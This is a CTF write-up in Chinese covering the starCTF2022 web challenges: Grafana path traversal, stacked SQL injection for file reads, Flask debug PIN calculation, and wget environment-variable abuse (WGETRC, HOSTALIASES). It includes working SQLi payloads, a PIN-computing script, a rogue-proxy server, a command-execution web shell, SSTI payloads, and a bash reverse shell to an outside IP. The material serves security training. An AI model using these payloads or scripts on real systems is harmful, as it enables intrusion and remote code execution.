starCTF2022-Web详解


0x00 oh-my-grafana

进入后看到 grafana

image.png

CVE-2021-43798 ,泄露配置文件信息 /public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

image.png

这里密码就是密码是真没想到

image.png

进入后配置 mysql 数据库

image.png

接下来查询

image.png

这里找到一个能够回显字符的就可以了

image.png

0x01 oh-my-notepro

弱口令登陆,在一通测试之后发现

image.png

这里存在报错注入,show database看一下库信息,从 information_schema.tables 里看一下表

1'/**/||updatexml(1,concat(0x7c,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),0x7c),1)/**/||'1#
//"XPATH syntax error: '|Dontt,notes,notess,pupi1,pupi2,'")

甚至联合查询也可以

image.png

image.png

这里蹭车是可以蹭出来很多思路的,大佬们都在疯狂的往库里写表...

经过数据库信息的一些查询,我们可以发现这里是 mysql5.6,这里 ban 掉了一些函数。

image.png

直接 load_file 没有成功,是 secure-file-priv 配置的问题

我们访问 /view 路由以后,可以在debug报错中发现代码

result = db.session.execute(sql,params={"multi":True})

这一串代码一开始没有注意到,后来看了官方 WP 之后才意识到原来是这里提醒了我们这里是可以实现堆叠注入的。

但是这里我们可以用 load data infile 来实现绕过,我们这里可以很自由的创建和 load

1';create/**/table/**/sp4c1ous/**/(data/**/text)#
1';load/**/data/**/local/**/infile/**/"/etc/passwd"/**/into/**/table/**/sp4c1ous#
1'union/**/select/**/1,2,3,4,group_concat(data)/**/from/**/sp4c1ous#
//1'union/**/select/**/1,2,3,4,hex(group_concat(data))/**/from/**/sp4c1ous#

image.png

image.png

能够读文件了我们又可以干什么呢

这里刚刚在重点看 SQL注入没有涉及到,我们这里在 sql注入的报错页面时可以看出来一些东西的

image.png我们可以发现,这里实际上是一个基于 python flask 的应用。

这里数据库内没有课利用的数据,能够读文件,可以看到报错的情境下我们就应该想到 python flask debug 的 pin 码

找到一个生成 pin 码的脚本,不过这里需要一个 3.8 的 pthon 环境,不然算出来的 pin 码会不正确

计算 pin 码需要的几个信息:

1. 服务器运行flask所登录的用户名 通过/etc/passwd中可以猜测为flaskweb 或者root 此处用的flaskweb

2. modname 一般不变就是flask.app

3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)python该值一般为Flask 值一般不变

4. flask库下app.py的绝对路径通过报错信息就会泄露该值本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py

5.当前网络的mac地址的十进制数通过文件/sys/class/net/eth0/address eth0为当前使用的网卡

6.最后一个就是机器的id

对于非docker机每一个机器都会有自已唯一的idlinux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i有的系统没有这两个文件windows的id获取跟linux也不同

对于docker机则读取/proc/self/cgroup

exp:

import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py' 
]

private_bits = [
    '2485378547715',# address
    '20f744536950191ebadac26d7df6c2ae1ba00eef0b5a62f941a50ad1c6784818'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

大坑,新版的 pin 码计算有了一些变化,用下面这个脚本

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
    'ctf', #用户名
    'flask.app',  #一般固定为flask.app
    'Flask', #固定,一般为Flask
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:c0:a8:00:03'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
   mac,#mac地址十进制
 "1cc402dd0e11d5ae18db04a6de87223db461531f0a56f0e7c1d2ca9bd1f1f55aeea2123458e592fc6242b589c6817f55" #这里需要注意一下,看下面
     ]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值

这里可以发现手撕实在太麻烦了,写个脚本

import time
import os
import requests

headers = {"cookie" : "session = eyJjc3JmX3Rva2VuIjoiNmI5OTM2YjUzMmUxMjJjZjRkZDgyYTRiNDQ5NzU3ZmE2NzkxYjZhYyIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YlqR8Q.UPBihttY4iG0TjeVSErRnwqd6RU"}
url = "http://124.70.185.87:5002/view?note_id="

def create_table(num):
    payload = "1%27;create%2F%2A%2A%2Ftable%2F%2A%2A%2Flycsb"+str(num)+"%2F%2A%2A%2F%28data%2F%2A%2A%2Ftext%29%23"
    requests.get(url=url+payload, headers=headers)
    time.sleep(1)

def load_infile(filename,num):
    filename = filename.replace("/","%2F")
    payload = "1%27;load%2F%2A%2A%2Fdata%2F%2A%2A%2Flocal%2F%2A%2A%2Finfile%2F%2A%2A%2F%22"+filename+"%22%2F%2A%2A%2Finto%2F%2A%2A%2Ftable%2F%2A%2A%2Flycsb"+str(num)+"%23"
    requests.get(url=url + payload, headers=headers)
    time.sleep(1)

def read(num):
    payload = "1%27union%2F%2A%2A%2Fselect%2F%2A%2A%2F1%2C2%2C3%2C4%2Cgroup%5Fconcat%28data%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Flycsb"+str(num)+"%23"
    r = requests.get(url=url + payload, headers=headers)
    print(r.text)
    time.sleep(1)

def run(filename,num):
    create_table(num)
    load_infile(filename, num)
    read(num)

if __name__ == '__main__':
    run("/etc/machine-id",3)

记录读取的文件

#/etc/passwd
root:x:0:0:root:/root:/bin/bash,daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin,bin:x:2:2:bin:/bin:/usr/sbin/nologin,sys:x:3:3:sys:/dev:/usr/sbin/nologin,sync:x:4:65534:sync:/bin:/bin/sync,games:x:5:60:games:/usr/games:/usr/sbin/nologin,man:x:6:12:man:/var/cache/man:/usr/sbin/nologin,lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin,mail:x:8:8:mail:/var/mail:/usr/sbin/nologin,news:x:9:9:news:/var/spool/news:/usr/sbin/nologin,uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin,proxy:x:13:13:proxy:/bin:/usr/sbin/nologin,www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin,backup:x:34:34:backup:/var/backups:/usr/sbin/nologin,list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin,irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin,gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin,nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin,_apt:x:100:65534::/nonexistent:/usr/sbin/nologin,ctf:x:1000:1000::/home/ctf:/bin/sh
#可以看到用户名应该为ctf

# modname 一般不变就是flask.app
# 同上一般不变 Flsak

#绝对路径
/usr/local/lib/python3.8/site-packages/flask/app.py

#mac地址
02:42:ac:1b:00:03 也就是 2485378547715

# 这里因为3.8版本的原因还要加上machine-id
# /proc/self/cgroup 也就是 87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e
12:hugetlb:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,11:cpuset:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,10:rdma:/,9:devices:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,8:blkio:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,7:freezer:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,6:perf_event:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,5:cpu,cpuacct:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,4:pids:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,3:memory:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,2:net_cls,net_prio:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,1:name=systemd:/docker/87b79d5bf61d9151db67570e4a2db387a5314d5a7bea89164bd431a390fbd34e,0::/system.slice/containerd.service

但是这里在算出来之后也不一定能够执行命令

image.png

各种的环境问题很大 ... 比如15分钟刷新,搅屎的,拿sqlmap跑的...

0x02 oh-my-lotto

题目给出了源码

from flask import Flask,render_template, request
import os

app = Flask(__name__, static_url_path='')

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

@app.route("/", methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
    message = ''

    if request.method == 'GET':
        return render_template('lotto.html')

    elif request.method == 'POST':
        flag = os.getenv('flag')
        lotto_key = request.form.get('lotto_key') or ''
        lotto_value = request.form.get('lotto_value') or ''
        try:
            lotto_key = lotto_key.upper()
        except Exception as e:
            print(e)
            message = 'Lotto Error!'
            return render_template('lotto.html', message=message)

        if safe_check(lotto_key):
            os.environ[lotto_key] = lotto_value
            try:
                os.system('wget --content-disposition -N lotto')

                if os.path.exists("/app/lotto_result.txt"):
                    lotto_result = open("/app/lotto_result.txt", 'rb').read()
                else:
                    lotto_result = 'result'
                if os.path.exists("/app/guess/forecast.txt"):
                    forecast = open("/app/guess/forecast.txt", 'rb').read()
                else:
                    forecast = 'forecast'

                if forecast == lotto_result:
                    return flag
                else:
                    message = 'Sorry forecast failed, maybe lucky next time!'
                    return render_template('lotto.html', message=message)
            except Exception as e:
                message = 'Lotto Error!'
                return render_template('lotto.html', message=message)

        else:
            message = 'NO NO NO, JUST LOTTO!'
            return render_template('lotto.html', message=message)

@app.route("/forecast", methods=['GET', 'POST'])
def forecast():

    message = ''
    if request.method == 'GET':
        return render_template('forecast.html')
    elif request.method == 'POST':
        if 'file' not in request.files:
            message = 'Where is your forecast?'

        file = request.files['file']
        file.save('/app/guess/forecast.txt')
        message = "OK, I get your forecast. Let's Lotto!"
        return render_template('forecast.html', message=message)

@app.route("/result", methods=['GET'])
def result():

    if os.path.exists("/app/lotto_result.txt"):
        lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
    else:
        lotto_result = ''

    return render_template('result.html', message=lotto_result)


if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)

通过分析源码我们可以发现,整个 lotto 的过程非常简单,存在四个路由。

其中 /forecast 路由上传我们的预测结果,没过滤,不过会存到 /app/guess/forecast.txt 里,/lotto 路由东西比较多,我们首先可以得到一次操纵环境变量的机会 os.environ[lotto_key] = lotto_value ,然后我们会通过 wget 命令来获得 lotto 的结果 os.system('wget --content-disposition -N lotto') 这里是从 lotto docker 里获得的,我们也可以看到它的源码,接下来就是 result ,forecast,如果我们的 forecast 与 result 一致,我们就可以得到 flag

在环境变量的操作处存在一系列的黑名单:

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

这里是为了 ban 掉环境变量的一些 tricks,比如 LD_PRELOAD ,比如环境变量注入,PROXY 暂时不知道是什么。

这个地方有奇妙的非预期

修改 PATH

我们可以知道,我们之所以能够调用到各种系统命令,是因为我们的 PATH 路径指向了 bin 目录,如果我们环境变量 PATH 中不存在对相应命令的指向也就执行不了相应的系统命令了。

回到上题中,如果我们在一次 lotto 中更改了 PATH,让我们的 wget 命令无效,那么我们上一次 lotto 的结果也就会是下一次 lotto 的结果了

这里有一个要注意的点

image.png

这里是生成 lotto 的方式,注意我们上传的应该为 \n 间隔的 lotto 内容

这里发现了一个很有意思的地方,之前没有注意过

image.png

然后在 lotto 把 PATH 改一下,改成什么不太重要了,不能 wget 就好,这里也没什么其他用到的命令,不能 wget 就能出 flag 了

image.png

成功

WGETRC 1

我还以为这个就是预期解了,结果看了出题师傅的 WP 才知道并不是,只能说太强了

感觉自从P牛那篇环境变量注入的文章发完,基本上每次比赛的 Web 都能把环境变量玩出花来了...

这里利用的是 wget 命令中的一个环境变量,WGETRC

我们下载源码看一下,给出了 dockerfile,可以看到是debian系的系统,Ubuntu,在审计源码的过程中我们可以发现这样一个环境变量

image.png

这里关系到了 wget 命令的一个用法,我们可以通过创建 .wgetrc 文件来设置代理服务器

如果用户的网络需要经过代理服务器,那么可以让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中可以设置代理服务器:

bash http-proxy = 111.111.111.111:8080 ftp-proxy = 111.111.111.111:8080

分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用:

bash --proxy-user=USER设置代理用户 --proxy-passwd=PASS设置代理密码这两个参数。

使用参数--proxy=on/off使用或者关闭代理。wget还有很多有用的功能,需要用户去挖掘。

这里利用的实际上就是 wgetrc 这个环境变量,我们实际上也可以通过指定环境变量指向的文件作为我们的 .wgetrc 文件

image.png

image.png

跟读代码比较困难,我们也可以直接去看关于这个环境变量的文档 https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location

image.png

我们题目中的 wget 会请求 http://lotto 来生成 1-20 的随机数,但如果我们控制了这里的 wgetrc 就可以把我们的服务器作为中间的代理了

wgetrc 文件应该怎么配置也写在上面了,测试一下

image.png

成功监听到了我们的请求,不过在转发的过程中我们可以干什么呢?

这里想不到干什么说明我的 web 实在是学得不到家了...

返回 r = "forecast 中的内容"

我们拿到了中间的代理当然就可以修改返回包了,我们可以在代理的端口起一个 fake_lotto,返回的结果和我们的 WGETRC 的内容一致就好了。

这里我在自己服务器上起了一个 docker,docker run -dit -p 1233:8080 -p 1234:22 python:3.8.12,ssh 连上之后起一个下面这样的服务,让这里的返回为 r = "http_proxy=http://47.104.14.160:1233" 和我们传上去的 WGETRC 一致,通过对比就可以返回 flag 了。

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
    r = "http_proxy=http://47.104.14.160:1233"
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8080)

image.png

不过这种做法也不是预期解,师傅重新改了一遍题目,放上来了 revenge

0x03 oh-my-lotto-revenge

这道题是对上面的修复,取消了 lotto 正确就可以返回回显,但是因为 WGETRC 在上面的题目里确实也是一个很好的解法,所以出题师傅并没有把 WGETRC ban掉,但是这里却又导致了一系列的非预期哈哈。这里还是通过 WGETRC 的非预期来入手

既然我们不能通过题目本身的回显得到 flag 了,那么就说明我们需要实现 RCE 了,这里如何通过 WGETRC 实现 RCE 呢?

这里还有两种方法

  • 利用WGETRC配合http_proxyoutput_document覆盖本地的 wget 应用,然后利用 wget 完成 RCE。
  • 利用WGETRC配合http_proxyoutput_document,写入 SSTI 到templates目录,利用SSTI完成RCE。

两种都用到了 output_document,我们先来看一下这个配置参数

image.png

就是一个控制输出的参数,我们在 WGETRC 文件中配置了这里的这个参数就可以让代理服务器的返回覆盖到我们想要覆盖的位置

WGETRC SSTI

通过题目给出的 docker 我们可以看到,这里使用了 flask 的模板来控制前端。提到模板自然想到模板注入了,我们可以通过覆盖到模板来反弹 shell,执行命令。

http-proxy = 47.104.14.160:1233
output_document = templates/index.html

我们控制输出到 templates/index.html ,和上面一样设置 WGETRC

控制服务器的返回为 SSTI payload

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #测试用的

#看环境变量或者反弹shell都可以
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/47.xxx.xxx.160/2333 0>&1').read()}}

image.png

覆盖 app.py

这个实际上就很像预期解法了

出题人开启了 debug 所以可以直接使用代理来替换 app.py

http-proxy = 47.104.14.160:1233
output_document = app.py

脚本是这样的

fake_lotto.py

from flask import Flask, make_response
import secrets
app = Flask(__name__)
@app.route("/")
def index():
    r = open("evil.py",'r').read()
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=app.py'
    return response
if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8080)

evil.py

from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)

不过这里是用 gunicorn 来保持 python 运行的,并不会及时的重载,但是这里师傅用了一个方法,可以通过 bp 拦截包直到 gunicorn 重启 worker 也就是 bp 抓到包然后一直访问我们的 shell 路由就可以了...

不过这里通过 bp 抓包的方式显然没有官方 WP 里出题师傅所用的方式优越

timeout 50 nc ip 端口 &
timeout 50 nc ip 端口 &
timeout 50 nc ip 端口

image.png

image.png

最终 worker 重新加载 app.py ,我们成功实现 RCE

预期解 HOSTALIASES

翻阅 Linux环境变量文档 在 Network Settings 中发现有 HOSTALIASES

image.png

上网搜一下,这个 HOSTALIASES 主要的用途是在集群网络中进行 hosts 解析用的

因为我们获取 lotto 的方式为:os.system('wget --content-disposition -N lotto') ,所以我们可以通过将 lotto 解析到我们自己的服务器的方式来实现类似于 WGETRC 中的代理的操作,配置文件如下

# hosts
lotto 47.104.14.160:1233

同时,wget 配置了 --content-disposition -N 参数,这里我们可以得到的信息是,请求保存的文件名由 server 端提供的文件名决定,并且可以覆盖原有文件,这里我们在 wgetrc 中已经实践过了,但是并没有想到是因为这个参数配置的问题,还以为能够覆盖是因为设置了 output_document 。

就是换了个实现代理的方式,剩下的内容就不多赘述了,覆盖 app.py 或者覆盖 tamplate 进行 SSTI 都可以了。

评论

S

sp4c1ous

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Web安全 文章:248 篇
漏洞分析 文章:212 篇
Java安全 文章:34 篇
无线安全 文章:27 篇
数据安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录